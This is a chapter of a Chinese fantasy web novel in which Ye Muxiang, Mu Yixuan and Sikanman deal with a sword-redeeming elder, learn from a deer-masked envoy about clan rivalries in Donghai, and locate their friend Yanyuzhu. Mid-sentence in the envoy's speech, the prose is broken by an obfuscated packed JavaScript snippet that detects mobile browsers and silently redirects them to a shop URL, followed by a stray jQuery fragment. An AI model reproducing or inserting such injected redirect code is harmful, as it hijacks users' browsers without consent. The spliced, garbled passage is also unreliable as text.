话说九条政宗率领部下紧追不舍，眼见那流星般的身影落入梧桐家职工宿舍，果然不敢贸然行动，急忙喝止众人，叹道：“不必追了。前面是白家地界，这个节骨眼上，莫要给鸟羽大人平添敌手。”
这边，页、木二人畅叙别后际遇，说到愤慨处无不扼腕，感叹世道荒唐。木弈轩忽然想起要紧事：“对了，煜朱！我与见面会的管事约了要见煜朱的，如今外面捕快虎视眈眈，该如何给他传信？”
“你还是不要出门的好，至于煜朱那边，我或许能请个假，再去瞧瞧。”
木弈轩噗嗤一笑：“你这差事当得倒有模有样的。”
页目向无奈摇头：“能如何？难道一走了之，置季君于不顾？那也太不仗义了。”
“我听你说大宫寺一家平日很看重季君，处处都要他随行，怎么一出事就半点情面不讲。”木弈轩摇头以示不屑。
“何止不讲情面，根本是讹诈！”页目向愤然道，“黄玉冠是我家传之物，我岂会不知价值？他们张口就要十万，还自称行家。待爷爷派人来说明原委，看他们还有何话说！”
“但偷盗的终究不是他们。最后若真按律物归原主，他们当时花销也回不来，也算吃了哑巴亏，你就莫要太过计较了。”
“你还替他们说情！”页目向哼笑道，“算了，算了，我明日还要赶早点卯，趁早歇息罢。”
第二日，典当行掌柜爽快地准了页目向下午的假。页目向忙完上午的活计正要交班，忽然来了一位客人。那人在厅中驻足张望许久，经人询问才说要赎当，报的竟是“岁寒剑剑鞘”。众伙计查阅账册未见此物记录，只当是来闹事的，便要唤安保将他赶出去。
页目向心生疑惑——剑鞘分明随身携带，除同行几人外更无外人知晓此物存在。他急忙制止众人：“兴许是有什么误会，待我与他核实一番，免得错怪。”
同事诧异道：“目向君不是下午请假了？怎么还不走？”
页目向笑道：“耽误不了片刻。只怕是我初来乍到业务生疏，漏记了什么物件。与他核对清楚，也好图个心安。”同事闻言便不再多问。
页目向下得柜台来迎这位客人，见他身形极瘦，骨相嶙峋。他虽穿着一身冰蓝色北境长袍，但束起的黑发与东方面容分明不是北境人。他似是饱经风霜，面上手上多得是寒冷所致的皲裂纹，目光正上下打量着页目向。
页目向侧身引路：“客人请随我来客室详谈。”
二人刚进客室，页目向还未及开口，来人就从手中迅速抽出一柄长镰，只见他把长镰锋尖往那虚无一触，霜冻的波痕瞬间封印住了整间客室。页目向尚未反应过来，那人已经收回长镰开口道：“怕隔墙有耳，你是页长老家的？”
这已非头回被人问及身世，页目向试探道：“您说的是哪位？”
他见页目向装愣，直截道：“页呈页长老。”
页目向见他如此耿直，又问：“那请问您是？”
“寒尘越。”他说着顿了下，“你不放心我？舍源镇上有户寒家——我们是同乡。”
听说如此，页目向稍觉宽心。此人确实面善眼熟，兴许镇上见过，便恭敬道：“不知是寒前辈到访，晚辈在此赔礼了。”
寒尘越皱眉道：“剑鞘在你这儿吧。”
页目向见他如此笃定，不禁疑问：“您找剑鞘是？”
寒尘越摆出岁寒剑，只见剑身已然复原。页目向惊喜交加正要讨回，寒尘越继续道：“我早年将岁寒剑押给页长老，如今我来赎回。”
页目向从未听说过这故事，但既然是寒家的前辈，不至于欺他无知，于是老实交还剑鞘。
寒尘越收剑纳入掌心，语气依旧刻板：“如今岁寒剑已赎回，我也该履行约定。”说罢一手扣住页目向胳膊。
页目向不解其意，本能挣扎却难以发力，只得暗运光指伺机反击。寒尘越沿他经脉迅疾点打，顺带打掉光指。页目向只觉天旋地转如堕异界，周身忽冷忽热，几近昏厥。
寒尘越见他支撑不住方才收手，淡淡道：“页长老还是不会教学生。”
页目向调息半晌才缓过神，愠怒道：“前辈这是何意？”
寒尘越自顾自说道：“《辉照》全本我不会，零星章节亦不擅长，你先.....”
页目向急道：“前辈莫要乱讲！《辉照》是我家家传绝学，你怎么会？”
“偷学的。”寒尘越语气坦然，“页长老从不计较这些。”
页目向料想也是如此，仍想唬他，于是道：“可前不久柳信还......”话说一半，觉着家事不宜外传，当即噤声。
寒尘越回想一阵才忆起此人：“柳信？莫不是药商家的大哥？他怎么了？”见页目向不答，他皱眉道：“不愿意说就算了。你先......”
页目向心中已有些不快，但念在对方身份可信又与祖父有旧，只得强压火气道：“前辈有事不妨稍后再叙，晚辈此刻确有急事要办，恕不奉陪了。”
寒尘越闻言抽出长镰，往虚空中轻轻一点，无数冷色波痕全部收回镰尖。“那你快去快回。”
页目向勉强挤出一丝笑意转身离去，刚出房门便撞见那位灵鹿面青袍商人。对方笑道：“与小友真是有缘，竟又在此相逢。”
页目向本想和他好生说道一番，偏他来得不巧，没好气道：“阁下此番前来又是什么事？”
灵鹿面见他行色匆匆，问道：“小友是要往哪去？”
“阁下就不用多问了，若真有什么要紧事，欢迎改日再来，我现在没空。”说罢侧身掠过对方，匆匆上街去了。
灵鹿面取出一封信函悠然道：“小友瞧瞧这是？”
页目向回头瞥见，顿时僵在原地：“我寄出的信？怎么会在你手上？”
灵鹿面含笑：“寄往天原的信，柳帮可送不了。”
页目向回身夺信，直接了当道：“说罢，我爷爷吩咐了什么？”
灵鹿面佯装不解，笑道：“小友的爷爷是谁？是柳帮的大总裁？还是什么人物？怎么会差遣于我？”
页目向凭着一路遭遇自信猜出七八分，懒得与他周旋，叹道：“我现在真没空，阁下若要交代什么直说便是，何必又是打哑谜又是设圈套，将人当作猴耍！”
见灵鹿面忽然愣住，似在斟酌措辞，页目向索性挑明：“绿翠甲、红晶石与黄玉冠俱已寻回，一时半会儿也难再遗失。我现在回去复命，任务便算圆满完成。若还有什么要紧的，阁下赶紧说吧！”
灵鹿面正色道：“你这是要去寻煜朱？也好，我等你空了再详细说明，免得耽误你时间。”
“你果然是......”页目向哼笑一声，“还有一事，阁下往后要见，还是去梧桐宿舍陆贰陆室找我吧。”说罢转身疾步向广场赶去。
却说炎煜朱对菊平所说半信半疑，既盼着真是故人，又恐是杜撰。他抱着姑且一试的心思早早来到会场等候，却始终不见菊平描述的那位戏迷。月前事也不让他闲着，说是既到场的都是戏迷，理当一视同仁，便安排了签名握手的环节。久候不至，炎煜朱只当又是他们串通耍弄，嚷着要回去，任谁劝说都不听。
页目向赶到会场时，从菊平处得知炎煜朱因身体不适已然离去。
页目向急忙追问：“这症状持续多久了？”
菊平以为好不容易又遇上位真心关怀的戏迷，连忙宽慰：“就这几日的事，医生看过了，不打紧。小佛爷接下来几日都有见面会，明日，明日定能见到！”
“可否劳烦引见？我们这些戏迷实在担心煜...小佛爷的安危。”
“这个我实在不敢做主，涉及艺人隐私。多谢诸位继续支持小佛爷！”
页目向只得作罢，心里将这番不顺归咎于寒尘越与灵鹿面，悻悻而归。回到住处后，他将今日经过说与木弈轩。
“煜朱这般情形实在令人担忧。东海的医者我也信不过，谁知他们的行医执证是不是花钱买来的？”
“我再请假一日，非要见到他不可！”
“若曼哥在此便好了，潜入探查，他最是拿手。”
“我也设法打听艺人通常住在何处，若明日仍不得见，我们便私下寻他去！”
斯堪曼化作的夜蝠翩然穿窗而入，身形一转便恢复人形，问道：“这么说，你们已有炎煜朱的消息了？”
木弈轩欣喜道：“曼哥！你总算回来了！”
斯堪曼眉头微蹙：“我在坂奈城询问岭上开花的伙计，他们推说不知，让我去找卫城厅。卫官们互相推诿，我只好挨家查去，确实毫无线索。回来先去了旅店，见你原先住的房间一片狼藉，便循着节气令的印记寻到此处。”
页目向赶紧递过一杯水，笑道：“辛苦你了！”
斯堪曼一饮而尽，追问：“炎煜朱现在何处？”
页、木二人将炎煜朱登台献艺、召开见面会却两次未能得见的情形细细道来。斯堪曼听罢道：“我亲自去寻他便是。页长老可有回信？”
页目向被提醒，忙道：“险些忘了告诉你们！先前遇见的青袍灵鹿面商人，果然是我爷爷派来的人！”
斯堪曼冷哼一声：“藏头露尾，故弄玄虚。”
“他截下了我寄往天原的信件，我当面质问，他才肯表明身份。应当是还有任务未派，我猜是个新手，没能统筹兼顾各处安排。”
正说话间，门外响起叩门声。页目向笑道：“一说就到。”
开门迎客，来的果然是灵鹿面。他含笑环视屋内：“好生热闹，都是在等我？”
页目向直截道：“阁下还要吩咐什么？请讲吧。”
灵鹿面扫视一圈：“煜朱不在？”
页目向答道：“他不知为何突然当上艺人，只知道如今在幕上樱处，有什么话，我们可以之后转达。”
“无妨。我来是想说明一些东海时政。”
斯堪曼冷声道：“阁下尽可直言不讳，不必铺垫。”
灵鹿面笑道：“小友不必着急，晓因知果。诸位旅途见闻应当对东海现况有所了解。”
见得众人点头，他才续道：“东海国自大创改革后，罢黜皇室王公、改立国会，本意选贤举能、民主议事。然当时民间有识之士不足以支撑庞大的官府机构，旧官僚集团遂得以保留接任，即今之猪鹿蝶。”
听至此处，页目向又将三令的事与斯堪曼说了。
“改革余威尚存之时，官吏尚能格尽职守、勤勉政务，东海百业俱兴，百姓安居乐业。然有乘风而起者积累优势，渐成寡头之实，其中五族为最，分别是大宫寺、平原、羽鸟、上杉、橘氏。五族一旦得利便开始谋权，凭借资金支持推举多人入仕，又买通地痞流氓为打手，至此官商贼相互勾结，霸权东海，现称作五光。”
“大创逝世后，五光愈发猖獗。久而久之，民众分为四等：一等乃五光当家及其宗族，谓之集全国之财富壮一己之体，竭万众之劳力享一生之奢；二等为五光幕僚及其党羽，称以锱铢手段奉承主上，讨得边角荣华装点自身；三等是五光旗下商贾及其雇工，终年奔波只为糊口，赌一线天机以求富贵；四等不在籍的牧农渔樵，可怜终日劳作一无所获，空自忙碌供奉愚神。”
页目向暗自思索：“如此说来，季君果真好不容易。”
“五光治下：以微银剥牧农渔樵所产，许重金令商贾劳工折腰，数倍供养幕僚党羽以巩固权位，不计其数充入当家库府以致富可敌国。施行察举迫使百姓感恩戴德，抬高物价使在籍者无暇他顾，悬置身份激励亲信为虎作伥，粉饰太平妆点繁荣以宣扬五光威名！”灵鹿面言至此处，声调渐扬。
页目向忙道：“五光恶行有目共睹，但凭我们几个怕改变不了什么。”
灵鹿面忽地变得平静，莞尔一笑，继续道："近年来世界格局有变
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16574967|187047||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
，联合政府无暇顾及属国，被压抑许久的猪鹿蝶便生出夺权野心。而五光从来并非一心，彼此素有斗争以求取更广的权利版图，眼下正是动荡好时机。”
“荻草猪颁《土地令》，假生态之名强征田地，退耕筑宇，芒尖月告他侵占田产，双方打了数年的官司未果；而芒尖月出的宣广费，正是幕上樱的重要资金来源，于是《樱花日报》连续发表多篇文章，指责荻草猪哄抬地价，一时引发民愤，算是为黄家扳回一城。猪鹿蝶本是旧时代官僚遗毒，自然沆瀣一气；随后，牡丹蝶编写《黄红陈罪十条》，要求学校讲授，令学生都以加入黄红阵营为耻。自此，双方矛盾愈演愈烈，再难缓和。”
木弈轩试探着问道：“你的意思，莫非是让我们利用他们之间的矛盾，再给添上一把火？”
灵鹿面却仍不点破，悠悠道：“松间鹤发家，凭的是他手里独一份的矿业开采权。可当年官府批文只给了三十年期限，如今眼看就要到期，其余四光皆有染指想法。在国会席位势均力敌的情况下，最终必然是五光共同瓜分开采权。猪鹿蝶以利害相诱，拉拢松间鹤入伙；而芒尖月则与幕上樱达成更深层次的合作，势要鱼死网破，争个高低。过几日的黄红联会，就是两家结盟的明证。”
灵鹿面笑道：“平原家分为平氏与原氏两脉，平氏主营道路基建，原氏则掌管货物运输。几年前，原氏当家原蒙在道途中遭遇袭击，幸得三点水源氏出手相救。原蒙为表感谢，将其请入柳下小野。后原蒙因故生魇，不久辞世，临终前竟将一切托付给了三点水源氏。自三点水上位以来，青帮大体还算规矩，精力都放在跨境货物运输与买卖上，无意参与这些党派争斗。”
斯堪曼自然不信这冠冕堂皇的说辞。他正要出言反驳，页目向却在一旁轻敲了他的后背，示意他暂且噤声。
灵鹿面继续道：“而梧桐凤凰因‘房债券’一事与荻草猪交恶，又因‘幕后人案’同幕上樱不和，暂时保持中立。他们，或可引为我们的援手。”
木弈轩好奇追问道：“‘房债券’和‘幕后人案’又是什么？”
灵鹿面解释道：“荻草猪曾大肆建房准备售出，彼时房价高悬，大量居民无力购买。于是便与梧桐凤凰商合议出台‘房债券’。这债券允许居民以未来房产为抵押贷款购房，梧桐凤凰随后又将这批贷款债权明码标价，转卖给其他人。”
“不料经济很快陷入低迷，借贷居民无力偿还，持券公民却纷纷要求兑付，最终梧桐凤凰只收回一堆无用房产，还背上了天文数字般的亏空。此事之后，大宫寺熏发誓不会与荻草猪再有一分钱的合同。”
“至于‘幕后人案’，那是梧桐凤凰的常用手段——利用掌握的内幕消息，提前以最优价格囤积或抛售货物。而幕上樱的人物对这种‘不关己事’却格外富有正义感，接连发表批评文章，闹得满城风雨，给梧桐家平添了许多麻烦。”
斯堪曼冷哼道：“真是报应不爽！”
灵鹿面笑吟吟地说道：“每年九月中旬是国会例会之期，如今两派积怨已深，只需要一个由头，便可一触即发。”
页目向点头应下：“若是这样浑水摸鱼的事情，倒还在我们能力范围之内。”
“不过其中也有变数，”灵鹿面补充道，“不知为何，猪鹿蝶松一党最近与草间八桥幕府有所往来，具体缘故尚不明确，这就等几位小友自己去发现了。”说罢，他站起身作势欲走，语调轻松，“几位不必送了，祝你们好运。”
“阁下留步，”页目向急忙问道，“那大宫寺的十万金福珠......”
“我会替你说明情况。若是三点水源氏要找你们，不必设防，他应该另有交待。”灵鹿面突然停下脚步提醒道，“幕上樱名下有一座德艺大厦，专门安置联会艺人。你们要寻煜朱的话，可以去那里看看。”
待灵鹿面走后，木弈轩问道：“那煜朱的事怎么办？”
页目向转头对斯堪曼笑道：“看来要麻烦曼哥走一趟了。”
斯堪曼挑眉道：“若是要捣乱生事，不如就让他留在幕上樱那边。”
页目向回道：“即便如此，也辛苦曼哥去通个气。”
斯堪曼不再多言，摇身化作夜蝠，在页目向手背上轻叮一口，随即振翅飞去寻找炎煜朱。
页目向望着手背嘟囔道：“叮就叮吧，反正也少不了一块肉。”
德艺大厦位置显眼，只是房间众多。斯堪曼心想炎煜朱刚入行，下层出行便利，多半会让给位高资深者居住，于是决定从顶层找起。待他寻到第三十六间房时，果然见炎煜朱正静静躺在床上。斯堪曼出声问道：“这么早就歇息了？”
炎煜朱干躺了两天，哪里真能睡着，只觉得那说话声既陌生又亲切。他睁眼看见一只夜蝠，掀被起身，大喜道：“曼哥！你们可算……哎，向哥和轩姐呢？”
两人互相交代了这些日子各自的经历。斯堪曼道：“你兴许是中了什么封禁天目的毒，得让木弈轩替你解。”
炎煜朱连连点头：“那事不宜迟，曼哥你快带我离开这鬼地方吧！”
斯堪曼却道：“还得委屈你在这儿再待几天。”
炎煜朱顿时丧了气：“那还得熬多久……”
“你先配合他们演出，等到黄红联会当天，我们再闹他个天翻地覆。”
炎煜朱这才精神一振：“对！闹个天翻地覆！这样报仇才痛快！”
“我去找木弈轩拿解药。你天目神通恢复后，切莫轻易显露。至于黄红联会那天……你自己见机行事。”
炎煜朱一口答应，将斯堪曼送到窗边。刚回去坐下，他立刻又起身走出房间，对着外面嚷道：“我明天去训练！”
月前事原本已备好易容装束，打算让萤代而上台，此刻听闻炎煜朱突然答应，一时喜出望外，赶忙去各处说明情况，重新安排各项事宜。炎煜朱深呼一口气，又坐回床上，静候解药送来。